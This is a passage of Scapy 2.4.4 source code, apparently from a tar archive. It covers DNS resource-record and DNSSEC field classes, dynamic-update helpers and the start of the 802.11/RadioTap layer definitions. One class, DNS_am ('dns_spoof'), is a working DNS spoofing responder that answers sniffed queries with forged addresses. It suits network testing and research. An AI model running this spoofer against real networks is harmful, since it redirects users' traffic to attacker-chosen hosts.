4034 - Resource Records for the DNS Security Extensions # 09/2013 from http://www.iana.org/assignments/dns-sec-alg-numbers/dns-sec-alg-numbers.xhtml # noqa: E501 dnssecalgotypes = {0: "Reserved", 1: "RSA/MD5", 2: "Diffie-Hellman", 3: "DSA/SHA-1", # noqa: E501 4: "Reserved", 5: "RSA/SHA-1", 6: "DSA-NSEC3-SHA1", 7: "RSASHA1-NSEC3-SHA1", 8: "RSA/SHA-256", 9: "Reserved", 10: "RSA/SHA-512", 11: "Reserved", 12: "GOST R 34.10-2001", 13: "ECDSA Curve P-256 with SHA-256", 14: "ECDSA Curve P-384 with SHA-384", # noqa: E501 252: "Reserved for Indirect Keys", 253: "Private algorithms - domain name", # noqa: E501 254: "Private algorithms - OID", 255: "Reserved"} # 09/2013 from http://www.iana.org/assignments/ds-rr-types/ds-rr-types.xhtml dnssecdigesttypes = {0: "Reserved", 1: "SHA-1", 2: "SHA-256", 3: "GOST R 34.11-94", 4: "SHA-384"} # noqa: E501 def bitmap2RRlist(bitmap): """ Decode the 'Type Bit Maps' field of the NSEC Resource Record into an integer list. """ # RFC 4034, 4.1.2. The Type Bit Maps Field RRlist = [] while bitmap: if len(bitmap) < 2: warning("bitmap too short (%i)" % len(bitmap)) return window_block = orb(bitmap[0]) # window number offset = 256 * window_block # offset of the Resource Record bitmap_len = orb(bitmap[1]) # length of the bitmap in bytes if bitmap_len <= 0 or bitmap_len > 32: warning("bitmap length is no valid (%i)" % bitmap_len) return tmp_bitmap = bitmap[2:2 + bitmap_len] # Let's compare each bit of tmp_bitmap and compute the real RR value for b in range(len(tmp_bitmap)): v = 128 for i in range(8): if orb(tmp_bitmap[b]) & v: # each of the RR is encoded as a bit RRlist += [offset + b * 8 + i] v = v >> 1 # Next block if any bitmap = bitmap[2 + bitmap_len:] return RRlist def RRlist2bitmap(lst): """ Encode a list of integers representing Resource Records to a bitmap field used in the NSEC Resource Record. """ # RFC 4034, 4.1.2. The Type Bit Maps Field import math bitmap = b"" lst = [abs(x) for x in sorted(set(lst)) if x <= 65535] # number of window blocks max_window_blocks = int(math.ceil(lst[-1] / 256.)) min_window_blocks = int(math.floor(lst[0] / 256.)) if min_window_blocks == max_window_blocks: max_window_blocks += 1 for wb in range(min_window_blocks, max_window_blocks + 1): # First, filter out RR not encoded in the current window block # i.e. keep everything between 256*wb <= 256*(wb+1) rrlist = sorted(x for x in lst if 256 * wb <= x < 256 * (wb + 1)) if not rrlist: continue # Compute the number of bytes used to store the bitmap if rrlist[-1] == 0: # only one element in the list bytes_count = 1 else: max = rrlist[-1] - 256 * wb bytes_count = int(math.ceil(max // 8)) + 1 # use at least 1 byte if bytes_count > 32: # Don't encode more than 256 bits / values bytes_count = 32 bitmap += struct.pack("BB", wb, bytes_count) # Generate the bitmap # The idea is to remove out of range Resource Records with these steps # 1. rescale to fit into 8 bits # 2. x gives the bit position ; compute the corresponding value # 3. sum everything bitmap += b"".join( struct.pack( b"B", sum(2 ** (7 - (x - 256 * wb) + (tmp * 8)) for x in rrlist if 256 * wb + 8 * tmp <= x < 256 * wb + 8 * tmp + 8), ) for tmp in range(bytes_count) ) return bitmap class RRlistField(StrField): def h2i(self, pkt, x): if isinstance(x, list): return RRlist2bitmap(x) return x def i2repr(self, pkt, x): x = self.i2h(pkt, x) rrlist = bitmap2RRlist(x) return [dnstypes.get(rr, rr) for rr in rrlist] if rrlist else repr(x) class _DNSRRdummy(InheritOriginDNSStrPacket): name = "Dummy class that implements post_build() for Resource Records" def post_build(self, pkt, pay): if self.rdlen is not None: return pkt + pay lrrname = len(self.fields_desc[0].i2m("", self.getfieldval("rrname"))) tmp_len = len(pkt) - lrrname - 10 tmp_pkt = pkt[:lrrname + 8] pkt = struct.pack("!H", tmp_len) + pkt[lrrname + 8 + 2:] return tmp_pkt + pkt + pay class DNSRRMX(_DNSRRdummy): name = "DNS MX Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 6, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ShortField("preference", 0), DNSStrField("exchange", ""), ] class DNSRRSOA(_DNSRRdummy): name = "DNS SOA Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 6, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), DNSStrField("mname", ""), DNSStrField("rname", ""), IntField("serial", 0), IntField("refresh", 0), IntField("retry", 0), IntField("expire", 0), IntField("minimum", 0) ] class DNSRRRSIG(_DNSRRdummy): name = "DNS RRSIG Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 46, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ShortEnumField("typecovered", 1, dnstypes), ByteEnumField("algorithm", 5, dnssecalgotypes), ByteField("labels", 0), IntField("originalttl", 0), UTCTimeField("expiration", 0), UTCTimeField("inception", 0), ShortField("keytag", 0), DNSStrField("signersname", ""), StrField("signature", "") ] class DNSRRNSEC(_DNSRRdummy): name = "DNS NSEC Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 47, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), DNSStrField("nextname", ""), RRlistField("typebitmaps", "") ] class DNSRRDNSKEY(_DNSRRdummy): name = "DNS DNSKEY Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 48, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), FlagsField("flags", 256, 16, "S???????Z???????"), # S: Secure Entry Point # Z: Zone Key ByteField("protocol", 3), ByteEnumField("algorithm", 5, dnssecalgotypes), StrField("publickey", "") ] class DNSRRDS(_DNSRRdummy): name = "DNS DS Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 43, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ShortField("keytag", 0), ByteEnumField("algorithm", 5, dnssecalgotypes), ByteEnumField("digesttype", 5, dnssecdigesttypes), StrField("digest", "") ] # RFC 5074 - DNSSEC Lookaside Validation (DLV) class DNSRRDLV(DNSRRDS): name = "DNS DLV Resource Record" def __init__(self, *args, **kargs): DNSRRDS.__init__(self, *args, **kargs) if not kargs.get('type', 0): self.type = 32769 # RFC 5155 - DNS Security (DNSSEC) Hashed Authenticated Denial of Existence class DNSRRNSEC3(_DNSRRdummy): name = "DNS NSEC3 Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 50, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ByteField("hashalg", 0), BitEnumField("flags", 0, 8, {1: "Opt-Out"}), ShortField("iterations", 0), FieldLenField("saltlength", 0, fmt="!B", length_of="salt"), StrLenField("salt", "", length_from=lambda x: x.saltlength), FieldLenField("hashlength", 0, fmt="!B", length_of="nexthashedownername"), # noqa: E501 StrLenField("nexthashedownername", "", length_from=lambda x: x.hashlength), # noqa: E501 RRlistField("typebitmaps", "") ] class DNSRRNSEC3PARAM(_DNSRRdummy): name = "DNS NSEC3PARAM Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 51, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ByteField("hashalg", 0), ByteField("flags", 0), ShortField("iterations", 0), FieldLenField("saltlength", 0, fmt="!B", length_of="salt"), StrLenField("salt", "", length_from=lambda pkt: pkt.saltlength) # noqa: E501 ] # RFC 2782 - A DNS RR for specifying the location of services (DNS SRV) class DNSRRSRV(_DNSRRdummy): name = "DNS SRV Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 33, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ShortField("priority", 0), ShortField("weight", 0), ShortField("port", 0), DNSStrField("target", ""), ] # RFC 2845 - Secret Key Transaction Authentication for DNS (TSIG) tsig_algo_sizes = {"HMAC-MD5.SIG-ALG.REG.INT": 16, "hmac-sha1": 20} class TimeSignedField(StrFixedLenField): def __init__(self, name, default): StrFixedLenField.__init__(self, name, default, 6) def _convert_seconds(self, packed_seconds): """Unpack the internal representation.""" seconds = struct.unpack("!H", packed_seconds[:2])[0] seconds += struct.unpack("!I", packed_seconds[2:])[0] return seconds def h2i(self, pkt, seconds): """Convert the number of seconds since 1-Jan-70 UTC to the packed representation.""" if seconds is None: seconds = 0 tmp_short = (seconds >> 32) & 0xFFFF tmp_int = seconds & 0xFFFFFFFF return struct.pack("!HI", tmp_short, tmp_int) def i2h(self, pkt, packed_seconds): """Convert the internal representation to the number of seconds since 1-Jan-70 UTC.""" if packed_seconds is None: return None return self._convert_seconds(packed_seconds) def i2repr(self, pkt, packed_seconds): """Convert the internal representation to a nice one using the RFC format.""" time_struct = time.gmtime(self._convert_seconds(packed_seconds)) return time.strftime("%a %b %d %H:%M:%S %Y", time_struct) class DNSRRTSIG(_DNSRRdummy): name = "DNS TSIG Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 250, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), DNSStrField("algo_name", "hmac-sha1"), TimeSignedField("time_signed", 0), ShortField("fudge", 0), FieldLenField("mac_len", 20, fmt="!H", length_of="mac_data"), # noqa: E501 StrLenField("mac_data", "", length_from=lambda pkt: pkt.mac_len), # noqa: E501 ShortField("original_id", 0), ShortField("error", 0), FieldLenField("other_len", 0, fmt="!H", length_of="other_data"), # noqa: E501 StrLenField("other_data", "", length_from=lambda pkt: pkt.other_len) # noqa: E501 ] DNSRR_DISPATCHER = { 6: DNSRRSOA, # RFC 1035 15: DNSRRMX, # RFC 1035 33: DNSRRSRV, # RFC 2782 41: DNSRROPT, # RFC 1671 43: DNSRRDS, # RFC 4034 46: DNSRRRSIG, # RFC 4034 47: DNSRRNSEC, # RFC 4034 48: DNSRRDNSKEY, # RFC 4034 50: DNSRRNSEC3, # RFC 5155 51: DNSRRNSEC3PARAM, # RFC 5155 250: DNSRRTSIG, # RFC 2845 32769: DNSRRDLV, # RFC 4431 } DNSSEC_CLASSES = tuple(six.itervalues(DNSRR_DISPATCHER)) def isdnssecRR(obj): return isinstance(obj, DNSSEC_CLASSES) class DNSRR(InheritOriginDNSStrPacket): name = "DNS Resource Record" show_indent = 0 fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 1, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), FieldLenField("rdlen", None, length_of="rdata", fmt="H"), MultipleTypeField( [ # A (IPField("rdata", "0.0.0.0"), lambda pkt: pkt.type == 1), # AAAA (IP6Field("rdata", "::"), lambda pkt: pkt.type == 28), # NS, MD, MF, CNAME, PTR (DNSStrField("rdata", "", length_from=lambda pkt: pkt.rdlen), lambda pkt: pkt.type in [2, 3, 4, 5, 12]), # TEXT (DNSTextField("rdata", [], length_from=lambda pkt: pkt.rdlen), lambda pkt: pkt.type == 16), ], StrLenField("rdata", "", length_from=lambda pkt:pkt.rdlen) )] bind_layers(UDP, DNS, dport=5353) bind_layers(UDP, DNS, sport=5353) bind_layers(UDP, DNS, dport=53) bind_layers(UDP, DNS, sport=53) DestIPField.bind_addr(UDP, "224.0.0.251", dport=5353) DestIP6Field.bind_addr(UDP, "ff02::fb", dport=5353) bind_layers(TCP, DNS, dport=53) bind_layers(TCP, DNS, sport=53) @conf.commands.register def dyndns_add(nameserver, name, rdata, type="A", ttl=10): """Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok) example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1") RFC2136 """ zone = name[name.find(".") + 1:] r = sr1(IP(dst=nameserver) / UDP() / DNS(opcode=5, qd=[DNSQR(qname=zone, qtype="SOA")], # noqa: E501 ns=[DNSRR(rrname=name, type="A", ttl=ttl, rdata=rdata)]), verbose=0, timeout=5) if r and r.haslayer(DNS): return r.getlayer(DNS).rcode else: return -1 @conf.commands.register def dyndns_del(nameserver, name, type="ALL", ttl=10): """Send a DNS delete message to a nameserver for "name" dyndns_del(nameserver, name, type="ANY", ttl=10) -> result code (0=ok) example: dyndns_del("ns1.toto.com", "dyn.toto.com") RFC2136 """ zone = name[name.find(".") + 1:] r = sr1(IP(dst=nameserver) / UDP() / DNS(opcode=5, qd=[DNSQR(qname=zone, qtype="SOA")], # noqa: E501 ns=[DNSRR(rrname=name, type=type, rclass="ANY", ttl=0, rdata="")]), # noqa: E501 verbose=0, timeout=5) if r and r.haslayer(DNS): return r.getlayer(DNS).rcode else: return -1 class DNS_am(AnsweringMachine): function_name = "dns_spoof" filter = "udp port 53" def parse_options(self, joker="192.168.1.1", match=None): if match is None: self.match = {} else: self.match = match self.joker = joker def is_request(self, req): return req.haslayer(DNS) and req.getlayer(DNS).qr == 0 def make_reply(self, req): ip = req.getlayer(IP) dns = req.getlayer(DNS) resp = IP(dst=ip.src, src=ip.dst) / UDP(dport=ip.sport, sport=ip.dport) rdata = self.match.get(dns.qd.qname, self.joker) resp /= DNS(id=dns.id, qr=1, qd=dns.qd, an=DNSRR(rrname=dns.qd.qname, ttl=10, rdata=rdata)) return resp scapy-2.4.4/scapy/layers/dot11.py000066400000000000000000001571221372370053500165750ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # Copyright (C) Philippe Biondi """ Wireless LAN according to IEEE 802.11. This file contains bindings for 802.11 layers and some usual linklayers: - PRISM - RadioTap """ from __future__ import print_function import re import struct from zlib import crc32 from scapy.config import conf, crypto_validator from scapy.data import ETHER_ANY, DLT_IEEE802_11, DLT_PRISM_HEADER, \ DLT_IEEE802_11_RADIO from scapy.compat import raw, plain_str, orb, chb from scapy.packet import Packet, bind_layers, bind_top_down, NoPayload from scapy.fields import ( BitEnumField, BitField, BitMultiEnumField, ByteEnumField, ByteField, ConditionalField, FCSField, FieldLenField, FieldListField, FlagsField, IntField, LEFieldLenField, LEIntField, LELongField, LEShortEnumField, LEShortField, LESignedIntField, MultipleTypeField, PacketField, PacketListField, ReversePadField, ScalingField, ShortField, StrField, StrFixedLenField, StrLenField, X3BytesField, XByteField, XStrFixedLenField, ) from scapy.ansmachine import AnsweringMachine from scapy.plist import PacketList from scapy.layers.l2 import Ether, LLC, MACField from scapy.layers.inet import IP, TCP from scapy.error import warning, log_loading from scapy.sendrecv import sniff, sendp from scapy.utils import str2mac if conf.crypto_valid: from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.ciphers import Cipher, algorithms else: default_backend = Ciphers = algorithms = None log_loading.info("Can't import python-cryptography v1.7+. Disabled WEP decryption/encryption. (Dot11)") # noqa: E501 ######### # Prism # ######### # http://www.martin.cc/linux/prism class PrismHeader(Packet): """ iwpriv wlan0 monitor 3 """ name = "Prism header" fields_desc = [LEIntField("msgcode", 68), LEIntField("len", 144), StrFixedLenField("dev", "", 16), LEIntField("hosttime_did", 0), LEShortField("hosttime_status", 0), LEShortField("hosttime_len", 0), LEIntField("hosttime", 0), LEIntField("mactime_did", 0), LEShortField("mactime_status", 0), LEShortField("mactime_len", 0), LEIntField("mactime", 0), LEIntField("channel_did", 0), LEShortField("channel_status", 0), LEShortField("channel_len", 0), LEIntField("channel", 0), LEIntField("rssi_did", 0), LEShortField("rssi_status", 0), LEShortField("rssi_len", 0), LEIntField("rssi", 0), LEIntField("sq_did", 0), LEShortField("sq_status", 0), LEShortField("sq_len", 0), LEIntField("sq", 0), LEIntField("signal_did", 0), LEShortField("signal_status", 0), LEShortField("signal_len", 0), LESignedIntField("signal", 0), LEIntField("noise_did", 0), LEShortField("noise_status", 0), LEShortField("noise_len", 0), LEIntField("noise", 0), LEIntField("rate_did", 0), LEShortField("rate_status", 0), LEShortField("rate_len", 0), LEIntField("rate", 0), LEIntField("istx_did", 0), LEShortField("istx_status", 0), LEShortField("istx_len", 0), LEIntField("istx", 0), LEIntField("frmlen_did", 0), LEShortField("frmlen_status", 0), LEShortField("frmlen_len", 0), LEIntField("frmlen", 0), ] def answers(self, other): if isinstance(other, PrismHeader): return self.payload.answers(other.payload) else: return self.payload.answers(other) ############ # RadioTap # ############ # https://www.radiotap.org/ # Note: Radiotap alignment is crazy. See the doc: # https://www.radiotap.org/#alignment-in-radiotap def _next_radiotap_extpm(pkt, lst, cur, s): """Generates the next RadioTapExtendedPresenceMask""" if cur is None or (cur.present and cur.present.Ext): st = len(lst) + (cur is not None) return lambda *args: RadioTapExtendedPresenceMask(*args, index=st) return None class RadioTapExtendedPresenceMask(Packet): """RadioTapExtendedPresenceMask should be instantiated by passing an `index=` kwarg, stating which place the item has in the list. Passing index will update the b[x] fields accordingly to the index. e.g. >>> a = RadioTapExtendedPresenceMask(present="b0+b12+b29+Ext") >>> b = RadioTapExtendedPresenceMask(index=1, present="b33+b45+b59+b62") >>> pkt = RadioTap(present="Ext", Ext=[a, b]) """ name = "RadioTap Extended presence mask" fields_desc = [FlagsField('present', None, -32, ["b%s" % i for i in range(0, 31)] + ["Ext"])] def __init__(self, _pkt=None, index=0, **kwargs): self._restart_indentation(index) Packet.__init__(self, _pkt, **kwargs) def _restart_indentation(self, index): st = index * 32 self.fields_desc[0].names = ["b%s" % (i + st) for i in range(0, 31)] + ["Ext"] # noqa: E501 def guess_payload_class(self, pay): return conf.padding_layer # RadioTap constants _rt_present = ['TSFT', 'Flags', 'Rate', 'Channel', 'FHSS', 'dBm_AntSignal', 'dBm_AntNoise', 'Lock_Quality', 'TX_Attenuation', 'dB_TX_Attenuation', 'dBm_TX_Power', 'Antenna', 'dB_AntSignal', 'dB_AntNoise', 'RXFlags', 'TXFlags', 'b17', 'b18', 'ChannelPlus', 'MCS', 'A_MPDU', 'VHT', 'timestamp', 'HE', 'HE_MU', 'HE_MU_other_user', 'zero_length_psdu', 'L_SIG', 'b28', 'RadiotapNS', 'VendorNS', 'Ext'] # Note: Inconsistencies with wireshark # Wireshark ignores the suggested fields, whereas we implement some of them # (some are well-used even though not accepted) # However, flags that conflicts with Wireshark are not and MUST NOT be # implemented -> b17, b18 _rt_flags = ['CFP', 'ShortPreamble', 'wep', 'fragment', 'FCS', 'pad', 'badFCS', 'ShortGI'] _rt_channelflags = ['res1', 'res2', 'res3', 'res4', 'Turbo', 'CCK', 'OFDM', '2GHz', '5GHz', 'Passive', 'Dynamic_CCK_OFDM', 'GFSK', 'GSM', 'StaticTurbo', '10MHz', '5MHz'] _rt_rxflags = ["res1", "BAD_PLCP", "res2"] _rt_txflags = ["TX_FAIL", "CTS", "RTS", "NOACK", "NOSEQ"] _rt_channelflags2 = ['res1', 'res2', 'res3', 'res4', 'Turbo', 'CCK', 'OFDM', '2GHz', '5GHz', 'Passive', 'Dynamic_CCK_OFDM', 'GFSK', 'GSM', 'StaticTurbo', '10MHz', '5MHz', '20MHz', '40MHz_ext_channel_above', '40MHz_ext_channel_below', 'res5', 'res6', 'res7', 'res8', 'res9'] _rt_knownmcs = ['MCS_bandwidth', 'MCS_index', 'guard_interval', 'HT_format', 'FEC_type', 'STBC_streams', 'Ness', 'Ness_MSB'] _rt_bandwidth = {0: "20MHz", 1: "40MHz", 2: "ht40Mhz-", 3: "ht40MHz+"} _rt_a_mpdu_flags = ['Report0Subframe', 'Is0Subframe', 'KnownLastSubframe', 'LastSubframe', 'CRCerror', 'EOFsubframe', 'KnownEOF', 'res1', 'res2', 'res3', 'res4', 'res5', 'res6', 'res7', 'res8'] _rt_vhtbandwidth = { 0: "20MHz", 1: "40MHz", 2: "40MHz", 3: "40MHz", 4: "80MHz", 5: "80MHz", 6: "80MHz", 7: "80MHz", 8: "80MHz", 9: "80MHz", 10: "80MHz", 11: "160MHz", 12: "160MHz", 13: "160MHz", 14: "160MHz", 15: "160MHz", 16: "160MHz", 17: "160MHz", 18: "160MHz", 19: "160MHz", 20: "160MHz", 21: "160MHz", 22: "160MHz", 23: "160MHz", 24: "160MHz", 25: "160MHz" } _rt_knownvht = ['STBC', 'TXOP_PS_NOT_ALLOWED', 'GuardInterval', 'SGINsysmDis', 'LDPCextraOFDM', 'Beamformed', 'Bandwidth', 'GroupID', 'PartialAID', 'res1', 'res2', 'res3', 'res4', 'res5', 'res6', 'res7'] _rt_presentvht = ['STBC', 'TXOP_PS_NOT_ALLOWED', 'GuardInterval', 'SGINsysmDis', 'LDPCextraOFDM', 'Beamformed', 'res1', 'res2'] _rt_hemuother_per_user_known = { 'user field position', 'STA-ID', 'NSTS', 'Tx Beamforming', 'Spatial Configuration', 'MCS', 'DCM', 'Coding', } class RadioTap(Packet): name = "RadioTap" deprecated_fields = { "Channel": ("ChannelFrequency", "2.4.3"), "ChannelFlags2": ("ChannelPlusFlags", "2.4.3"), "ChannelNumber": ("ChannelPlusNumber", "2.4.3"), } fields_desc = [ ByteField('version', 0), ByteField('pad', 0), LEShortField('len', None), FlagsField('present', None, -32, _rt_present), # noqa: E501 # Extended presence mask ConditionalField(PacketListField("Ext", [], next_cls_cb=_next_radiotap_extpm), lambda pkt: pkt.present and pkt.present.Ext), # noqa: E501 # RadioTap fields - each starts with a ReversePadField # to handle padding # TSFT ConditionalField( ReversePadField( LELongField("mac_timestamp", 0), 8 ), lambda pkt: pkt.present and pkt.present.TSFT), # Flags ConditionalField( FlagsField("Flags", None, -8, _rt_flags), lambda pkt: pkt.present and pkt.present.Flags), # Rate ConditionalField( ScalingField("Rate", 0, scaling=0.5, unit="Mbps", fmt="B"), lambda pkt: pkt.present and pkt.present.Rate), # Channel ConditionalField( ReversePadField( LEShortField("ChannelFrequency", 0), 2 ), lambda pkt: pkt.present and pkt.present.Channel), ConditionalField( FlagsField("ChannelFlags", None, -16, _rt_channelflags), lambda pkt: pkt.present and pkt.present.Channel), # dBm_AntSignal ConditionalField( ScalingField("dBm_AntSignal", 0, offset=-256, unit="dBm", fmt="B"), lambda pkt: pkt.present and pkt.present.dBm_AntSignal), # dBm_AntNoise ConditionalField( ScalingField("dBm_AntNoise", 0, offset=-256, unit="dBm", fmt="B"), lambda pkt: pkt.present and pkt.present.dBm_AntNoise), # Lock_Quality ConditionalField( ReversePadField( LEShortField("Lock_Quality", 0), 2 ), lambda pkt: pkt.present and pkt.present.Lock_Quality), # Antenna ConditionalField( ByteField("Antenna", 0), lambda pkt: pkt.present and pkt.present.Antenna), # RX Flags ConditionalField( ReversePadField( FlagsField("RXFlags", None, -16, _rt_rxflags), 2 ), lambda pkt: pkt.present and pkt.present.RXFlags), # TX Flags ConditionalField( ReversePadField( FlagsField("TXFlags", None, -16, _rt_txflags), 2 ), lambda pkt: pkt.present and pkt.present.TXFlags), # ChannelPlus ConditionalField( ReversePadField( FlagsField("ChannelPlusFlags", None, -32, _rt_channelflags2), 4 ), lambda pkt: pkt.present and pkt.present.ChannelPlus), ConditionalField( LEShortField("ChannelPlusFrequency", 0), lambda pkt: pkt.present and pkt.present.ChannelPlus), ConditionalField( ByteField("ChannelPlusNumber", 0), lambda pkt: pkt.present and pkt.present.ChannelPlus), # MCS ConditionalField( ReversePadField( FlagsField("knownMCS", None, -8, _rt_knownmcs), 4 ), lambda pkt: pkt.present and pkt.present.MCS), ConditionalField( BitField("Ness_LSB", 0, 1), lambda pkt: pkt.present and pkt.present.MCS), ConditionalField( BitField("STBC_streams", 0, 2), lambda pkt: pkt.present and pkt.present.MCS), ConditionalField( BitEnumField("FEC_type", 0, 1, {0: "BCC", 1: "LDPC"}), lambda pkt: pkt.present and pkt.present.MCS), ConditionalField( BitEnumField("HT_format", 0, 1, {0: "mixed", 1: "greenfield"}), lambda pkt: pkt.present and pkt.present.MCS), ConditionalField( BitEnumField("guard_interval", 0, 1, {0: "Long_GI", 1: "Short_GI"}), # noqa: E501 lambda pkt: pkt.present and pkt.present.MCS), ConditionalField( BitEnumField("MCS_bandwidth", 0, 2, _rt_bandwidth), lambda pkt: pkt.present and pkt.present.MCS), ConditionalField( ByteField("MCS_index", 0), lambda pkt: pkt.present and pkt.present.MCS), # A_MPDU ConditionalField( ReversePadField( LEIntField("A_MPDU_ref", 0), 4 ), lambda pkt: pkt.present and pkt.present.A_MPDU), ConditionalField( FlagsField("A_MPDU_flags", None, -32, _rt_a_mpdu_flags), lambda pkt: pkt.present and pkt.present.A_MPDU), # VHT ConditionalField( ReversePadField( FlagsField("KnownVHT", None, -16, _rt_knownvht), 2 ), lambda pkt: pkt.present and pkt.present.VHT), ConditionalField( FlagsField("PresentVHT", None, -8, _rt_presentvht), lambda pkt: pkt.present and pkt.present.VHT), ConditionalField( ByteEnumField("VHT_bandwidth", 0, _rt_vhtbandwidth), lambda pkt: pkt.present and pkt.present.VHT), ConditionalField( StrFixedLenField("mcs_nss", 0, length=5), lambda pkt: pkt.present and pkt.present.VHT), ConditionalField( ByteField("GroupID", 0), lambda pkt: pkt.present and pkt.present.VHT), ConditionalField( ShortField("PartialAID", 0), lambda pkt: pkt.present and pkt.present.VHT), # timestamp ConditionalField( ReversePadField( LELongField("timestamp", 0), 8 ), lambda pkt: pkt.present and pkt.present.timestamp), ConditionalField( LEShortField("ts_accuracy", 0), lambda pkt: pkt.present and pkt.present.timestamp), ConditionalField( ByteField("ts_position", 0), lambda pkt: pkt.present and pkt.present.timestamp), ConditionalField( ByteField("ts_flags", 0), lambda pkt: pkt.present and pkt.present.timestamp), # HE - XXX not complete ConditionalField( ReversePadField( ShortField("he_data1", 0), 2 ), lambda pkt: pkt.present and pkt.present.HE), ConditionalField( ShortField("he_data2", 0), lambda pkt: pkt.present and pkt.present.HE), ConditionalField( ShortField("he_data3", 0), lambda pkt: pkt.present and pkt.present.HE), ConditionalField( ShortField("he_data4", 0), lambda pkt: pkt.present and pkt.present.HE), ConditionalField( ShortField("he_data5", 0), lambda pkt: pkt.present and pkt.present.HE), ConditionalField( ShortField("he_data6", 0), lambda pkt: pkt.present and pkt.present.HE), # HE_MU ConditionalField( ReversePadField( LEShortField("hemu_flags1", 0), 2 ), lambda pkt: pkt.present and pkt.present.HE_MU), ConditionalField( LEShortField("hemu_flags2", 0), lambda pkt: pkt.present and pkt.present.HE_MU), ConditionalField( FieldListField("RU_channel1", [], ByteField, count_from=lambda x: 4), lambda pkt: pkt.present and pkt.present.HE_MU), ConditionalField( FieldListField("RU_channel2", [], ByteField, count_from=lambda x: 4), lambda pkt: pkt.present and pkt.present.HE_MU), # HE_MU_other_user ConditionalField( ReversePadField( LEShortField("hemuou_per_user_1", 0x7fff), 2 ), lambda pkt: pkt.present and pkt.present.HE_MU_other_user), ConditionalField( LEShortField("hemuou_per_user_2", 0x003f), lambda pkt: pkt.present and pkt.present.HE_MU_other_user), ConditionalField( ByteField("hemuou_per_user_position", 0), lambda pkt: pkt.present and pkt.present.HE_MU_other_user), ConditionalField( FlagsField("hemuou_per_user_known", 0, -16, _rt_hemuother_per_user_known), lambda pkt: pkt.present and pkt.present.HE_MU_other_user), # L_SIG ConditionalField( ReversePadField( FlagsField("lsig_data1", 0, -16, ["rate", "length"]), 2 ), lambda pkt: pkt.present and pkt.present.L_SIG), ConditionalField( BitField("lsig_length", 0, 12), lambda pkt: pkt.present and pkt.present.L_SIG), ConditionalField( BitField("lsig_rate", 0, 4), lambda pkt: pkt.present and pkt.present.L_SIG), # Remaining StrLenField('notdecoded', "", length_from=lambda pkt: 0) ] def guess_payload_class(self, payload): if self.present and self.present.Flags and self.Flags.FCS: return Dot11FCS return Dot11 def post_dissect(self, s): length = max(self.len - len(self.original) + len(s), 0) self.notdecoded = s[:length] return s[length:] def post_build(self, p, pay): if self.len is None: p = p[:2] + struct.pack("!H", len(p))[::-1] + p[4:] return p + pay ########## # 802.11 # ########## # Note: # 802.11-2016 includes the spec for # 802.11abdghijekrywnpzvus,ae,aa,ad,ac,af # 802.11-2016 9.2 # 802.11-2016 9.2.4.1.3 _dot11_subtypes = { 0: { # Management 0: "Association Request", 1: "Association Response", 2: "Reassociation Request", 3: "Reassociation Response", 4: "Probe Request", 5: "Probe Response", 6: "Timing Advertisement", 8: "Beacon", 9: "ATIM", 10: "Disassociation", 11: "Authentication", 12: "Deauthentification", 13: "Action", 14: "Action No Ack", }, 1: { # Control 4: "Beamforming Report Poll", 5: "VHT NDP Announcement", 6: "Control Frame Extension", 7: "Control Wrapper", 8: "Block Ack Request", 9: "Block Ack", 10: "PS-Poll", 11: "RTS", 12: "CTS", 13: "Ack", 14: "CF-End", 15: "CF-End+CF-Ack", }, 2: { # Data 0: "Data", 1: "Data+CF-Ack", 2: "Data+CF-Poll", 3: "Data+CF-Ack+CF-Poll", 4: "Null (no data)", 5: "CF-Ack (no data)", 6: "CF-Poll (no data)", 7: "CF-Ack+CF-Poll (no data)", 8: "QoS Data", 9: "QoS Data+CF-Ack", 10: "QoS Data+CF-Poll", 11: "QoS Data+CF-Ack+CF-Poll", 12: "QoS Null (no data)", 14: "QoS CF-Poll (no data)", 15: "QoS CF-Ack+CF-Poll (no data)" }, 3: { # Extension 0: "DMG Beacon" } } _dot11_cfe = { 2: "Poll", 3: "SPR", 4: "Grant", 5: "DMG CTS", 6: "DMG DTS", 7: "Grant Ack", 8: "SSW", 9: "SSW-Feedback", 10: "SSW-Ack", } _dot11_addr_meaning = [ [ # Management: 802.11-2016 